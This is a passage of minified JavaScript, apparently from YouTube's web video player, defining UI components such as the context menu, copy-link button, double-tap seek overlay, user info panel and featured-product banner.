YJi=function(x){var T=x.api.Y();ro5(x);x.updateValue("flyoutUnfocusable","true");x.updateValue("channelTitleFocusable","-1");x.updateValue("shouldHideExpandedTitleForA11y","true");x.updateValue("shouldHideExpandedSubtitleForA11y","true");T.Z||T.G9||(x.V(x.channel,"mouseenter",x.gX),x.V(x.channel,"mouseleave",x.pG),x.V(x.channel,"focusin",x.gX),x.V(x.channel,"focusout",function(t){x.channel.contains(t.relatedTarget)||x.pG()}));
x.j=new g.wX(function(){x.isExpanded()&&(x.api.logVisibility(x.channelName,!1),x.subscribeButton&&(x.subscribeButton.hide(),x.api.logVisibility(x.subscribeButton.element,!1)),x.C&&(x.C.hide(),x.api.logVisibility(x.C.element,!1)),x.channel.classList.remove("ytp-title-expanded"),x.channel.classList.add("ytp-title-show-collapsed"))},500);
g.y(x,x.j);x.V(x.channel,z8q,function(){kDf(x)});
x.V(x.api,"onHideControls",x.aS);x.V(x.api,"appresize",x.aS);x.V(x.api,"fullscreentoggled",x.aS)};
kDf=function(x){x.channel.classList.remove("ytp-title-show-collapsed");x.channel.classList.remove("ytp-title-show-expanded")};
FBm=function(x){var T=x.api.getPlayerSize();return g.zw(x.api.Y())&&T.width>=524};
U1f=function(x){var T=x.api.Y(),t=x.api.getVideoData(),u=g.tj(T)+t.hM;g.tW(t)&&(u="https://music.youtube.com"+t.hM);if(!g.zw(T))return u;T={};g.ET(x.api,"addEmbedsConversionTrackingParams",[T]);return g.NY(u,T)};
IK=function(x){var T=g.CW({"aria-haspopup":"true"});g.JW.call(this,T,x);this.listen("keydown",this.C)};
El=function(x,T){x.element.setAttribute("aria-haspopup",String(T))};
h8v=function(x,T){g.Q.call(this,{L:"div",G:"ytp-user-info-panel",X:{"aria-label":"User info"},W:x.Y().uG&&!x.B("embeds_web_always_enable_signed_out_state")?[{L:"div",G:"ytp-user-info-panel-icon",z9:"{{icon}}"},{L:"div",G:"ytp-user-info-panel-content",W:[{L:"div",G:"ytp-user-info-panel-info",X:{tabIndex:"{{userInfoFocusable}}",role:"text"},z9:"{{watchingAsUsername}}"},{L:"div",G:"ytp-user-info-panel-info",X:{tabIndex:"{{userInfoFocusable2}}",role:"text"},z9:"{{watchingAsEmail}}"}]}]:[{L:"div",G:"ytp-user-info-panel-icon",
z9:"{{icon}}"},{L:"div",G:"ytp-user-info-panel-content",W:[{L:"div",W:[{L:"text",X:{tabIndex:"{{userInfoFocusable}}"},z9:"Signed out"}]},{L:"div",G:"ytp-user-info-panel-login",W:[{L:"a",X:{tabIndex:"{{userInfoFocusable2}}",role:"button"},z9:x.Y().Zk?"":"Sign in on YouTube"}]}]}]});this.qj=x;this.C=T;x.Y().uG||x.Y().Zk||this.V(this.Um("ytp-user-info-panel-login"),"click",this.xd);this.closeButton=new g.Q({L:"button",DZ:["ytp-collapse","ytp-button"],X:{title:"Close"},W:[g.rr()]});this.closeButton.yU(this.element);
g.y(this,this.closeButton);this.V(window,"blur",this.hide);this.V(document,"click",this.L6);this.Nj()};
V23=function(x,T,t){g.Wk.call(this,x);this.If=T;this.Y6=t;this.getVideoUrl=new IK(6);this.by=new IK(5);this.Wh=new IK(4);this.K2=new IK(3);this.Xb=new g.JW(g.CW({href:"{{href}}",target:this.U.Y().S},void 0,!0),2,"Troubleshoot playback issue");this.showVideoInfo=new g.JW(g.CW(),1,"Stats for nerds");this.zj=new g.qS({L:"div",DZ:["ytp-copytext","ytp-no-contextmenu"],X:{draggable:"false",tabindex:"1"},z9:"{{text}}"});this.Nw=new Bk(this.U,this.zj);this.i7=this.yW=null;g.zw(this.U.Y())&&(this.closeButton=
new g.Q({L:"button",DZ:["ytp-collapse","ytp-button"],X:{title:"Close"},W:[g.rr()]}),g.y(this,this.closeButton),this.closeButton.yU(this.element),this.closeButton.listen("click",this.Jc,this));g.zw(this.U.Y())&&(this.En=new g.JW(g.CW(),8,"Account"),g.y(this,this.En),this.NU(this.En,!0),this.En.listen("click",this.eLW,this),x.createClientVe(this.En.element,this.En,137682));this.U.Y().I8&&(this.J7=new ol("Loop",7),g.y(this,this.J7),this.NU(this.J7,!0),this.J7.listen("click",this.FRj,this),x.createClientVe(this.J7.element,
this.J7,28661));g.y(this,this.getVideoUrl);this.NU(this.getVideoUrl,!0);this.getVideoUrl.listen("click",this.Mg7,this);x.createClientVe(this.getVideoUrl.element,this.getVideoUrl,28659);g.y(this,this.by);this.NU(this.by,!0);this.by.listen("click",this.RnQ,this);x.createClientVe(this.by.element,this.by,28660);g.y(this,this.Wh);this.NU(this.Wh,!0);this.Wh.listen("click",this.rqv,this);x.createClientVe(this.Wh.element,this.Wh,28658);g.y(this,this.K2);this.NU(this.K2,!0);this.K2.listen("click",this.hnY,
this);g.y(this,this.Xb);this.NU(this.Xb,!0);this.Xb.listen("click",this.hLv,this);g.y(this,this.showVideoInfo);this.NU(this.showVideoInfo,!0);this.showVideoInfo.listen("click",this.anj,this);g.y(this,this.zj);this.zj.listen("click",this.oPU,this);g.y(this,this.Nw);T=document.queryCommandSupported&&document.queryCommandSupported("copy");C35("Chromium")>=43&&(T=!0);C35("Firefox")<=40&&(T=!1);T&&(this.yW=new g.Q({L:"textarea",G:"ytp-html5-clipboard",X:{readonly:"",tabindex:"-1"}}),g.y(this,this.yW),
this.yW.yU(this.element));var u;(u=this.En)==null||u.setIcon(rSD());var H;(H=this.J7)==null||H.setIcon({L:"svg",X:{fill:"none",height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M7 7H17V10L21 6L17 2V5H5V11H7V7ZM17 17H7V14L3 18L7 22V19H19V13H17V17Z",fill:"white"}}]});this.K2.setIcon({L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{"clip-rule":"evenodd",d:"M20 10V8H17.19C16.74 7.22 16.12 6.54 15.37 6.04L17 4.41L15.59 3L13.42 5.17C13.39 5.16 13.37 5.16 13.34 5.16C13.18 5.12 13.02 5.1 12.85 5.07C12.79 5.06 12.74 5.05 12.68 5.04C12.46 5.02 12.23 5 12 5C11.51 5 11.03 5.07 10.58 5.18L10.6 5.17L8.41 3L7 4.41L8.62 6.04H8.63C7.88 6.54 7.26 7.22 6.81 8H4V10H6.09C6.03 10.33 6 10.66 6 11V12H4V14H6V15C6 15.34 6.04 15.67 6.09 16H4V18H6.81C7.85 19.79 9.78 21 12 21C14.22 21 16.15 19.79 17.19 18H20V16H17.91C17.96 15.67 18 15.34 18 15V14H20V12H18V11C18 10.66 17.96 10.33 17.91 10H20ZM16 15C16 17.21 14.21 19 12 19C9.79 19 8 17.21 8 15V11C8 8.79 9.79 7 12 7C14.21 7 16 8.79 16 11V15ZM10 14H14V16H10V14ZM10 10H14V12H10V10Z",
fill:"white","fill-rule":"evenodd"}}]});this.Xb.setIcon(PoD());this.showVideoInfo.setIcon(Sxf());this.V(x,"onLoopChange",this.onLoopChange);this.V(x,"videodatachange",this.onVideoDataChange);vRH(this);this.IK(this.U.getVideoData())};
qm=function(x,T){var t=!1;if(x.yW){var u=x.yW.element;u.value=T;u.select();try{t=document.execCommand("copy")}catch(H){}}t?x.If.nz():(x.zj.Zn(T,"text"),g.N3(x.If,x.Nw),Hw(x.zj.element),x.yW&&(x.yW=null,vRH(x)));return t};
vRH=function(x){var T=!!x.yW;g.Nw(x.K2,T?"Copy debug info":"Get debug info");El(x.K2,!T);g.Nw(x.Wh,T?"Copy embed code":"Get embed code");El(x.Wh,!T);g.Nw(x.getVideoUrl,T?"Copy video URL":"Get video URL");El(x.getVideoUrl,!T);g.Nw(x.by,T?"Copy video URL at current time":"Get video URL at current time");El(x.by,!T);x.Wh.setIcon(T?MDJ():null);x.getVideoUrl.setIcon(T?R4():null);x.by.setIcon(T?R4():null)};
GDi=function(x){return g.zw(x.U.Y())?x.En:x.J7};
nR4=function(x,T){g.yY.call(this,x);this.Y6=T;this.K=new g.nj(this);this.jY=new g.wX(this.z4m,1E3,this);this.uG=this.j=null;g.y(this,this.K);g.y(this,this.jY);T=this.U.Y();x.createClientVe(this.element,this,28656);g.uY(this.element,"ytp-contextmenu");this.U.Y().experiments.aU("delhi_modern_web_player")&&g.f1(T)&&g.uY(this.element,"ytp-delhi-modern-contextmenu");LBm(this);this.hide()};
LBm=function(x){g.zx(x.K);var T=x.U.Y();T.playerStyle==="gvn"||T.Z||T.G9||(T=x.U.bG(),x.K.V(T,"contextmenu",x.KRU),x.K.V(T,"touchstart",x.UX,null,!0),x.K.V(T,"touchmove",x.tW,null,!0),x.K.V(T,"touchend",x.tW,null,!0))};
aUv=function(x){x.U.isFullscreen()?g.V$(x.U,x.element,10):x.yU(WF(x).body)};
Zg=function(x,T,t){t=t===void 0?240:t;g.Q.call(this,{L:"button",DZ:["ytp-button","ytp-copylink-button"],X:{title:"{{title-attr}}","data-tooltip-opaque":String(g.zw(x.Y()))},W:[{L:"div",G:"ytp-copylink-icon",z9:"{{icon}}"},{L:"div",G:"ytp-copylink-title",z9:"Copy link",X:{"aria-hidden":"true"}}]});this.api=x;this.C=T;this.Z=t;this.visible=!1;this.tooltip=this.C.lD();T=x.Y();this.tooltip.element.setAttribute("aria-live","polite");g.Ic(this.element,"ytp-show-copylink-title",g.zw(T));x.createClientVe(this.element,
this,86570);this.listen("click",this.onClick);this.V(x,"videodatachange",this.Nj);this.V(x,"videoplayerreset",this.Nj);this.V(x,"appresize",this.Nj);this.Nj();this.addOnDisposeCallback(g.Sx(this.tooltip,this.element))};
gRi=function(x){var T=x.api.Y(),t=x.api.getVideoData(),u=x.api.bG().getPlayerSize().width;T=T.j;return!!t.videoId&&u>=x.Z&&t.Yn&&!g.Tt(t)&&!x.api.isEmbedsShortsMode()&&!T};
BP3=function(x){x.updateValue("icon",mo());if(x.api.Y().Z)x.tooltip.Dq(x.element,"Link copied to clipboard");else{x.updateValue("title-attr","Link copied to clipboard");x.tooltip.Kd();x.tooltip.Dq(x.element);var T=x.listen("mouseleave",function(){x.f2(T);x.Nj();x.tooltip.On()})}};
WBJ=function(x,T){return g.G(function(t){if(t.C==1)return g.PX(t,2),g.v(t,navigator.clipboard.writeText(T),4);if(t.C!=2)return t.return(!0);g.Yq(t);var u=t.return,H=!1,I=g.Xn("TEXTAREA");I.value=T;I.setAttribute("readonly","");var E=x.api.getRootNode();E.appendChild(I);if(CM){var Z=window.getSelection();Z.removeAllRanges();var e=document.createRange();e.selectNodeContents(I);Z.addRange(e);I.setSelectionRange(0,T.length)}else I.select();try{H=document.execCommand("copy")}catch(l){}E.removeChild(I);
return u.call(t,H)})};
jk=function(x){g.Q.call(this,{L:"div",G:"ytp-doubletap-ui-legacy",W:[{L:"div",G:"ytp-doubletap-fast-forward-ve"},{L:"div",G:"ytp-doubletap-rewind-ve"},{L:"div",G:"ytp-doubletap-static-circle",W:[{L:"div",G:"ytp-doubletap-ripple"}]},{L:"div",G:"ytp-doubletap-overlay-a11y"},{L:"div",G:"ytp-doubletap-seek-info-container",W:[{L:"div",G:"ytp-doubletap-arrows-container",W:[{L:"span",G:"ytp-doubletap-base-arrow"},{L:"span",G:"ytp-doubletap-base-arrow"},{L:"span",G:"ytp-doubletap-base-arrow"}]},{L:"div",
G:"ytp-doubletap-tooltip",W:[{L:"div",G:"ytp-seek-icon-text-container",W:[{L:"div",G:"ytp-seek-icon",z9:"{{seekIcon}}"},{L:"div",G:"ytp-chapter-seek-text-legacy",z9:"{{seekText}}"}]},{L:"div",G:"ytp-doubletap-tooltip-label",z9:"{{seekTime}}"}]}]}]});this.U=x;this.K=new g.wX(this.show,10,this);this.Z=new g.wX(this.hide,700,this);this.N=this.j=0;this.ZZ=this.D=!1;this.C=this.Um("ytp-doubletap-static-circle");g.y(this,this.K);g.y(this,this.Z);this.hide();this.J=this.Um("ytp-doubletap-fast-forward-ve");
this.S=this.Um("ytp-doubletap-rewind-ve");this.U.createClientVe(this.J,this,28240);this.U.createClientVe(this.S,this,28239);this.U.logVisibility(this.J,!0);this.U.logVisibility(this.S,!0);this.D=x.B("web_show_cumulative_seek_time");this.ZZ=x.B("web_center_static_circles")};
ek=function(x,T,t,u){if(u=u===void 0?null:u){var H=T===-1?x.S.visualElement:x.J.visualElement;u={seekData:u};var I=g.Yx();I&&g.Kr(wp)(void 0,I,H,"INTERACTION_LOGGING_GESTURE_TYPE_KEY_PRESS",u,void 0)}x.j=T===x.N?x.j+t:t;x.N=T;H=x.U.bG().getPlayerSize();x.D?x.Z.stop():g.xP(x.Z);x.K.start();x.element.setAttribute("data-side",T===-1?"back":"forward");g.uY(x.element,"ytp-time-seeking");x.C.style.width="110px";x.C.style.height="110px";u=H.width*.1-15;T===1?x.ZZ?(x.C.style.right=u+"px",x.C.style.left=""):
(x.C.style.right="",x.C.style.left=H.width*.8-30+"px"):T===-1&&(x.ZZ?(x.C.style.right="",x.C.style.left=u+"px"):(x.C.style.right="",x.C.style.left=H.width*.1-15+"px"));x.C.style.top=H.height*.5+15+"px";D14(x,x.D?x.j:t)};
yo4=function(x,T,t,u){u=u===void 0?null:u;g.xP(x.Z);x.K.start();switch(T){case -1:T="back";break;case 1:T="forward";break;default:T=""}x.element.setAttribute("data-side",T);x.C.style.width="0";x.C.style.height="0";g.uY(x.element,"ytp-chapter-seek");x.updateValue("seekText",t);x.updateValue("seekTime","");t=x.Um("ytp-seek-icon");if(u){a:if(u){switch(u){case "PREMIUM_STANDALONE":u={L:"svg",X:{height:"24px",version:"1.1",viewBox:"-2 -2 24 24",width:"24px"},W:[{L:"path",X:{d:"M 0 1.43 C 0 .64 .64 0 1.43 0 L 18.56 0 C 19.35 0 20 .64 20 1.43 L 20 18.56 C 20 19.35 19.35 20 18.56 20 L 1.43 20 C .64 20 0 19.35 0 18.56 Z M 0 1.43 ",
fill:"#c00"}},{L:"path",X:{d:"M 7.88 11.42 L 7.88 15.71 L 5.37 15.71 L 5.37 3.52 L 10.12 3.52 C 11.04 3.52 11.84 3.69 12.54 4.02 C 13.23 4.36 13.76 4.83 14.14 5.45 C 14.51 6.07 14.70 6.77 14.70 7.56 C 14.70 8.75 14.29 9.69 13.48 10.38 C 12.66 11.07 11.53 11.42 10.08 11.42 Z M 7.88 9.38 L 10.12 9.38 C 10.79 9.38 11.30 9.23 11.64 8.91 C 11.99 8.60 12.17 8.16 12.17 7.57 C 12.17 6.98 11.99 6.5 11.64 6.12 C 11.29 5.76 10.80 5.57 10.18 5.56 L 7.88 5.56 Z M 7.88 9.38 ",fill:"#fff","fill-rule":"nonzero"}}]};
break a;case "PREMIUM_STANDALONE_CAIRO":u={L:"svg",X:{fill:"none",height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"rect",X:{fill:"white",height:"20",rx:"5",width:"20",x:"2",y:"2"}},{L:"rect",X:{fill:"url(#ytp-premium-standalone-gradient)",height:"20",rx:"5",width:"20",x:"2",y:"2"}},{L:"path",X:{d:"M12.75 13.02H9.98V11.56H12.75C13.24 11.56 13.63 11.48 13.93 11.33C14.22 11.17 14.44 10.96 14.58 10.68C14.72 10.40 14.79 10.09 14.79 9.73C14.79 9.39 14.72 9.08 14.58 8.78C14.44 8.49 14.22 8.25 13.93 8.07C13.63 7.89 13.24 7.80 12.75 7.80H10.54V17H8.70V6.33H12.75C13.58 6.33 14.28 6.48 14.86 6.77C15.44 7.06 15.88 7.46 16.18 7.97C16.48 8.48 16.64 9.06 16.64 9.71C16.64 10.40 16.48 10.99 16.18 11.49C15.88 11.98 15.44 12.36 14.86 12.62C14.28 12.89 13.58 13.02 12.75 13.02Z",
fill:"white"}},{L:"defs",W:[{L:"linearGradient",X:{gradientUnits:"userSpaceOnUse",id:"ytp-premium-standalone-gradient",x1:"2",x2:"22",y1:"22",y2:"2"},W:[{L:"stop",X:{offset:"0.3","stop-color":"#E1002D"}},{L:"stop",X:{offset:"0.9","stop-color":"#E01378"}}]}]}]};break a}u=void 0}else u=null;x.updateValue("seekIcon",u);t.style.display="inline-block"}else t.style.display="none"};
D14=function(x,T){T=g.MA("$TOTAL_SEEK_TIME seconds",{TOTAL_SEEK_TIME:T.toString()});x.updateValue("seekTime",T)};
NPq=function(x){gk.call(this,x,!1,!0);this.Hv=[];this.Ym=[];this.J=!0;this.badge.element.classList.add("ytp-featured-product");this.Om=new g.Q({L:"div",G:"ytp-featured-product-open-in-new"});g.y(this,this.Om);this.countdownTimer=new g.Q({L:"text",G:"ytp-featured-product-countdown",z9:"{{content}}"});this.countdownTimer.hide();g.y(this,this.countdownTimer);this.Z=new g.Q({L:"div",G:"ytp-featured-product-trending",W:[{L:"div",G:"ytp-featured-product-trending-icon"},{L:"text",G:"ytp-featured-product-trending-text",
z9:"{{trendingOffer}}"}]});this.Z.hide();g.y(this,this.Z);this.overflowButton=new g.Q({L:"button",DZ:["ytp-featured-product-overflow-icon","ytp-button"],X:{"aria-haspopup":"true"}});this.overflowButton.hide();g.y(this,this.overflowButton);this.N=new g.Q({L:"text",G:"ytp-featured-product-exclusive-countdown",z9:"{{content}}",X:{id:"exclusiveCountdown","aria-hidden":"true"}});this.N.hide();g.y(this,this.N);this.D=new g.Q({L:"div",G:"ytp-featured-product-exclusive-container",X:{"aria-labelledby":"exclusiveBadge exclusiveCountdown"},
W:[{L:"div",G:"ytp-featured-product-exclusive-badge-container",W:[{L:"div",G:"ytp-featured-product-exclusive-badge",W:[{L:"text",G:"ytp-featured-product-exclusive-badge-text",z9:"{{exclusive}}",X:{id:"exclusiveBadge","aria-hidden":"true"}}]}]},this.N]});this.D.hide();g.y(this,this.D);this.banner=new g.Q({L:"a",G:"ytp-featured-product-container",W:[{L:"div",G:"ytp-featured-product-thumbnail",W:[{L:"img",X:{src:"{{thumbnail}}"}},this.Om]},{L:"div",G:"ytp-featured-product-details",W:[{L:"text",G:"ytp-featured-product-title",
z9:"{{title}}"},this.U.B("web_player_enable_featured_product_banner_promotion_text_on_desktop")?{L:"div",G:"ytp-featured-product-price-container",X:{"aria-label":"{{priceA11yText}}"},W:[{L:"text",G:"ytp-featured-product-price-when-promotion-text-enabled",z9:"{{price}}",X:{"aria-hidden":"true"}},{L:"text",G:"ytp-featured-product-promotion-text",z9:"{{promotionText}}",X:{"aria-hidden":"true"}}]}:{L:"div",X:{"aria-label":"{{priceA11yText}}"},W:[{L:"text",G:"ytp-featured-product-price",z9:"{{price}}",
X:{"aria-hidden":"true"}},{L:"text",G:"ytp-featured-product-sales-original-price",z9:"{{salesOriginalPrice}}",X:{"aria-hidden":"true"}},{L:"text",G:"ytp-featured-product-price-drop-reference-price",z9:"{{priceDropReferencePrice}}",X:{"aria-hidden":"true"}}]},this.U.B("web_player_enable_featured_product_banner_promotion_text_on_desktop")?{L:"div",G:"ytp-featured-product-when-promotion-text-enabled",W:[{L:"text",G:"ytp-featured-product-affiliate-disclaimer-when-promotion-text-enabled",z9:"{{affiliateDisclaimer}}"},
this.Z,{L:"text",G:"ytp-featured-product-vendor-when-promotion-text-enabled",z9:"{{vendor}}"}]}:{L:"div",W:[{L:"text",G:"ytp-featured-product-affiliate-disclaimer",z9:"{{affiliateDisclaimer}}"},this.U.B("web_player_enable_featured_product_banner_exclusives_on_desktop")?this.D:null,this.Z,{L:"text",G:"ytp-featured-product-vendor",z9:"{{vendor}}"},this.countdownTimer]}]},this.overflowButton]});g.y(this,this.banner);this.banner.yU(this.j.element);this.V(this.U,g.$m("featured_product"),this.Y0Y);this.V(this.U,
g.Hv("featured_product"),this.p5);this.V(this.U,"videodatachange",this.onVideoDataChange);this.V(this.overflowButton.element,"click",this.Hn);this.V(x,"featuredproductdismissed",this.e_)};
JoC=function(x){var T,t;x=(T=x.C)==null?void 0:(t=T.bannerData)==null?void 0:t.itemData;var u,H,I;return(x==null||!x.affiliateDisclaimer)&&(x==null?0:(u=x.exclusivesData)==null?0:u.exclusiveOfferLabelText)&&(x==null?0:(H=x.exclusivesData)==null?0:H.expirationTimestampMs)&&(x==null?0:(I=x.exclusivesData)==null?0:I.exclusiveOfferCountdownText)?!0:!1};
QbH=function(x){var T,t,u,H,I=(T=x.C)==null?void 0:(t=T.bannerData)==null?void 0:(u=t.itemData)==null?void 0:(H=u.exclusivesData)==null?void 0:H.expirationTimestampMs;T=(Number(I)-Date.now())/1E3;if(T>0){if(T<604800){var E,Z,e,l;t=(E=x.C)==null?void 0:(Z=E.bannerData)==null?void 0:(e=Z.itemData)==null?void 0:(l=e.exclusivesData)==null?void 0:l.exclusiveOfferCountdownText;if(t!==void 0)for(E=Date.now(),Z=g.S(t),e=Z.next();!e.done;e=Z.next())if(e=e.value,e!==void 0&&e.text!==void 0&&(l=Number(e.textDisplayStartTimestampMs),
!isNaN(l)&&E>=l)){e.insertCountdown?(T=e.text.replace(/\$0/,String(Ra({seconds:T}))),x.N.Zn(T)):x.N.Zn(e.text);x.N.show();break}}var m,d,M,A;x.D.update({exclusive:(m=x.C)==null?void 0:(d=m.bannerData)==null?void 0:(M=d.itemData)==null?void 0:(A=M.exclusivesData)==null?void 0:A.exclusiveOfferLabelText});x.D.show();li(x);var R;(R=x.kP)==null||R.start()}else CsV(x)};
CsV=function(x){var T;(T=x.kP)==null||T.stop();x.N.hide();x.D.hide();mZ(x)};
pmD=function(x){var T,t,u=(T=x.C)==null?void 0:(t=T.bannerData)==null?void 0:t.itemData;return x.U.B("web_player_enable_featured_product_banner_promotion_text_on_desktop")&&(u==null||!u.priceReplacementText)&&(u==null?0:u.promotionText)?u==null?void 0:u.promotionText.content:null};
O63=function(x){var T,t,u=(T=x.C)==null?void 0:(t=T.bannerData)==null?void 0:t.itemData,H,I;if(!(u!=null&&u.priceReplacementText||x.U.B("web_player_enable_featured_product_banner_promotion_text_on_desktop"))&&(u==null?0:(H=u.dealsData)==null?0:(I=H.sales)==null?0:I.originalPrice)){var E,Z;return u==null?void 0:(E=u.dealsData)==null?void 0:(Z=E.sales)==null?void 0:Z.originalPrice}return null};
fUi=function(x){var T,t,u=(T=x.C)==null?void 0:(t=T.bannerData)==null?void 0:t.itemData,H,I,E,Z;if(!((u==null?0:u.priceReplacementText)||x.U.B("web_player_enable_featured_product_banner_promotion_text_on_desktop")||(u==null?0:(H=u.dealsData)==null?0:(I=H.sales)==null?0:I.originalPrice))&&(u==null?0:(E=u.dealsData)==null?0:(Z=E.priceDrop)==null?0:Z.referencePrice)){var e,l;return u==null?void 0:(e=u.dealsData)==null?void 0:(l=e.priceDrop)==null?void 0:l.referencePrice}return null};
wm5=function(x){var T,t,u=(T=x.C)==null?void 0:(t=T.bannerData)==null?void 0:t.itemData;if(u==null?0:u.priceReplacementText)return u==null?void 0:u.priceReplacementText;if((u==null?0:u.promotionText)&&x.U.B("web_player_enable_featured_product_banner_promotion_text_on_desktop")){var H;return(u==null?void 0:u.price)+" "+(u==null?void 0:(H=u.promotionText)==null?void 0:H.content)}var I,E;if(u==null?0:(I=u.dealsData)==null?0:(E=I.sales)==null?0:E.originalPrice){var Z,e;return u==null?void 0:(Z=u.dealsData)==
null?void 0:(e=Z.sales)==null?void 0:e.salesPriceAccessibilityLabel}var l,m;if(u==null?0:(l=u.dealsData)==null?0:(m=l.priceDrop)==null?0:m.referencePrice){var d,M;return(u==null?void 0:u.price)+" "+(u==null?void 0:(d=u.dealsData)==null?void 0:(M=d.priceDrop)==null?void 0:M.referencePrice)}return u==null?void 0:u.price};
KBv=function(x){if(x.U.B("web_player_enable_featured_product_banner_promotion_text_on_desktop")){var T,t,u;return x.Z.lN?null:(T=x.C)==null?void 0:(t=T.bannerData)==null?void 0:(u=t.itemData)==null?void 0:u.vendorName}var H,I,E,Z,e,l;return x.Z.lN||x.D.lN||((H=x.C)==null?0:(I=H.bannerData)==null?0:(E=I.itemData)==null?0:E.affiliateDisclaimer)?null:(Z=x.C)==null?void 0:(e=Z.bannerData)==null?void 0:(l=e.itemData)==null?void 0:l.vendorName};
xsD=function(x,T){dG(x);if(T){var t=g.TT.getState().entities;t=i1(t,"featuredProductsEntity",T);if(t!=null&&t.productsData){T=[];t=g.S(t.productsData);for(var u=t.next();!u.done;u=t.next()){u=u.value;var H=void 0;if((H=u)!=null&&H.identifier&&u.featuredSegments){x.Hv.push(u);var I=void 0;H=g.S((I=u)==null?void 0:I.featuredSegments);for(I=H.next();!I.done;I=H.next()){var E=I.value;I=Xm4(E.startTimeSec);I!==void 0&&(E=Xm4(E.endTimeSec),T.push(new g.te(I*1E3,E===void 0?0x7ffffffffffff:E*1E3,{id:u.identifier,
namespace:"featured_product"})))}}}x.U.oi(T)}}};
mZ=function(x){if(x.trendingOfferEntityKey){var T=g.TT.getState().entities;if(T=i1(T,"trendingOfferEntity",x.trendingOfferEntityKey)){var t,u,H;T.encodedSkuId!==((t=x.C)==null?void 0:(u=t.bannerData)==null?void 0:(H=u.itemData)==null?void 0:H.encodedOfferSkuId)?li(x):(x.Z.update({trendingOffer:T.shortLabel+" \u2022 "+T.countLabel}),x.Z.show(),x.banner.update({vendor:KBv(x)}))}else li(x)}else li(x)};
li=function(x){x.Z.hide();x.banner.update({vendor:KBv(x)})};
dG=function(x){x.Hv=[];x.p5();x.U.Xa("featured_product")};
TWq=function(x){var T,t,u,H,I=(T=x.C)==null?void 0:(t=T.bannerData)==null?void 0:(u=t.itemData)==null?void 0:(H=u.hiddenProductOptions)==null?void 0:H.dropTimestampMs;T=(Number(I)-Date.now())/1E3;x.countdownTimer.Zn(Ra({seconds:T}));if(T>0){var E;(E=x.tM)==null||E.start()}};
oCq=function(x){var T;(T=x.tM)==null||T.stop();x.countdownTimer.hide()};
Xm4=function(x){if(x!==void 0&&x.trim()!==""&&(x=Math.trunc(Number(x.trim())),!(isNaN(x)||x<0)))return x};
HLH=function(x,T,t){g.Q.call(this,{L:"div",DZ:["ytp-info-panel-action-item"],W:[{L:"div",G:"ytp-info-panel-action-item-disclaimer",z9:"{{disclaimer}}"},{L:"a",DZ:["ytp-info-panel-action-item-button","ytp-button"],X:{role:"button",href:"{{url}}",target:"_blank",rel:"noopener"},W:[{L:"div",G:"ytp-info-panel-action-item-icon",z9:"{{icon}}"},{L:"div",G:"ytp-info-panel-action-item-label",z9:"{{label}}"}]}]});this.U=x;this.C=t;this.disclaimer=this.Um("ytp-info-panel-action-item-disclaimer");this.button=
this.Um("ytp-info-panel-action-item-button");this.eD=!1;this.U.createServerVe(this.element,this,!0);this.listen("click",this.onClick);x="";t=g.N(T==null?void 0:T.onTap,LP);var u=g.N(t,g.GQ);this.eD=!1;u?(x=u.url||"",x.startsWith("//")&&(x="https:"+x),this.eD=!0,g.VD(this.button,g.hG(x))):(u=g.N(t,t4v))&&!this.C?((x=u.phoneNumbers)&&x.length>0?(x="sms:"+x[0],u.messageText&&(x+="?&body="+encodeURI(u.messageText))):x="",this.eD=!0,g.VD(this.button,g.hG(x,[s5m]))):(t=g.N(t,uLq))&&!this.C&&(x=t.phoneNumber?
"tel:"+t.phoneNumber:"",this.eD=!0,g.VD(this.button,g.hG(x,[$sV])));var H;if(t=(H=T.disclaimerText)==null?void 0:H.content){this.button.style.borderBottom="1px solid white";this.button.style.paddingBottom="16px";var I;this.update({label:(I=T.bodyText)==null?void 0:I.content,icon:ca(),disclaimer:t})}else{this.disclaimer.style.display="none";var E;this.update({label:(E=T.bodyText)==null?void 0:E.content,icon:ca()})}this.U.setTrackingParams(this.element,T.trackingParams||null);this.eD&&(this.Z={externalLinkData:{url:x}})};
iL3=function(x,T){var t=Ha();g.BF.call(this,x,{L:"div",G:"ytp-info-panel-detail-skrim",W:[{L:"div",G:"ytp-info-panel-detail",X:{role:"dialog",id:t},W:[{L:"div",G:"ytp-info-panel-detail-header",W:[{L:"div",G:"ytp-info-panel-detail-title",z9:"{{title}}"},{L:"button",DZ:["ytp-info-panel-detail-close","ytp-button"],X:{"aria-label":"Close"},W:[g.A3()]}]},{L:"div",G:"ytp-info-panel-detail-body",z9:"{{body}}"},{L:"div",G:"ytp-info-panel-detail-items"}]}]},250);this.C=T;this.items=this.Um("ytp-info-panel-detail-items");
this.j=new g.nj(this);this.itemData=[];this.K=t;this.V(this.Um("ytp-info-panel-detail-close"),"click",this.nz);this.V(this.Um("ytp-info-panel-detail-skrim"),"click",this.nz);this.V(this.Um("ytp-info-panel-detail"),"click",function(u){u.stopPropagation()});
g.y(this,this.j);this.U.createServerVe(this.element,this,!0);this.V(x,"videodatachange",this.onVideoDataChange);this.onVideoDataChange("newdata",x.getVideoData());this.hide()};
IVH=function(x,T){x=g.S(x.itemData);for(var t=x.next();!t.done;t=x.next())t=t.value,t.U.logVisibility(t.element,T)};
ZL5=function(x,T){g.Q.call(this,{L:"div",G:"ytp-info-panel-preview",X:{"aria-live":"assertive","aria-atomic":"true","aria-owns":T.getId(),"aria-haspopup":"true","data-tooltip-opaque":String(g.zw(x.Y()))},W:[{L:"div",G:"ytp-info-panel-preview-text",z9:"{{text}}"},{L:"div",G:"ytp-info-panel-preview-chevron",z9:"{{chevron}}"}]});var t=this;this.U=x;this.Zx=this.C=this.videoId=null;this.K=this.showControls=this.Z=!1;this.V(this.element,"click",function(){x.logClick(t.element);x.dG();D0(T)});
this.j=new g.XK(this,250,!1,100);g.y(this,this.j);this.U.createServerVe(this.element,this,!0);this.V(x,"videodatachange",this.onVideoDataChange);this.V(x,"presentingplayerstatechange",this.yP);this.V(this.U,"paidcontentoverlayvisibilitychange",this.uc);this.V(this.U,"infopaneldetailvisibilitychange",this.uc);var u=x.getVideoData()||{};EC3(u)&&qgH(this,u);this.V(x,"onShowControls",this.OX);this.V(x,"onHideControls",this.lz)};
